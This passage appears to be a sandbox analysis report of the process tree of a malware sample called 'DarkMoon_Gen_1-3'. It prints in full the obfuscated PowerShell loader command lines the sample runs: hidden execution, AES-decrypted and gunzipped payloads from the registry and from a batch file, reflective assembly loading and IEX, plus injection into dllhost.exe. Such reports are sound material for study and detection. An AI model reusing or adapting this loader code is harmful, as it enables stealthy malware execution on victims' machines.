- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5736

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:5704

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{bd7c63db-bbbd-4eb1-81d0-e8df04a45226}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:736

C:\Windows\$sxr-powershell.exe
"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3944).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1000

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{cab3c794-bae5-479c-8c5b-5db2cd96fcd2}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5616

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{3be8155c-4ffb-46b5-bf74-1bc6ea2045a9}
5⤵
PID:4428

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{cdc65ff4-90af-46c4-8dd3-b3d374bd6579}
5⤵
PID:3408

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{7f34ebad-0b22-4163-8369-de595b408c18}
5⤵
PID:3692

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{9c716142-d5fe-4455-9728-d21b518b7322}
5⤵
PID:3064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3064 -s 456
6⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2608

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{993327f5-1ebf-4181-a12f-3daec9d8d12e}
5⤵
PID:3560

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{1038eac8-1894-4037-a26f-cef9731dc37a}
5⤵
PID:4556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1184

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1352

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1388

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2668

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2868

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3156

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2224

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4228

C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
"uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{43d915bb-bfd5-40a1-ad84-939c1cf08f9b}
4⤵
